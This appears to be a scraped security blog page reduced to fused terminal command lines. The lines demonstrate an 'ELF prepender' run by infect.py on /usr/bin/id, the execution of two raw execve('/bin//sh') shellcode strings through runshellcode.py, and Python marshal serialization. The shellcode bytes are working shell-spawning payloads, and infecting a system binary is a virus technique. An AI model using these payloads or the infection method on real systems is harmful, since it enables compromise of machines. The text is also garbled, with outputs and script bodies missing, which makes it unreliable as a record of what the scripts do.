#cat harder_serial.py#cat sol.py$python sol.py
# ELF prepender in python
#ls -lh /usr/bin/id#file /usr/bin/id#/usr/bin/id#./infect.py @ /usr/bin/id#ls -lh /usr/bin/id#file /usr/bin/id#/usr/bin/id#ls -lh /usr/bin/id#cat infect.py
# Execute shellcode in python
$ cat runshellcode.py
$uname -m$# 23 bytes - Gu Zhengxiong $python disassemble.py x86 64 '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'$python runshellcode.py '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'$
$uname -m$# 21 bytes - Gu Zhengxiong $python disassemble.py x86 32 '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'$python runshellcode.py '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'$
$ cat disassemble.py
# Serializing functions with marshal
#cat serializer.py#cat runner.py#python serializer.py#python runner.py YwEAAAABAAAAAQAAAEMAAABzCQAAAHwAAEdIZAAAUygBAAAATigAAAAAKAEAAAB0AwAAAG1zZygAAAAAKAAAAABzDQAAAHNlcmlhbGl6ZXIucHl0CAAAAGZ1bmN0aW9uBAAAAHMCAAAAAAE=
Subscribe to:
Comments (Atom)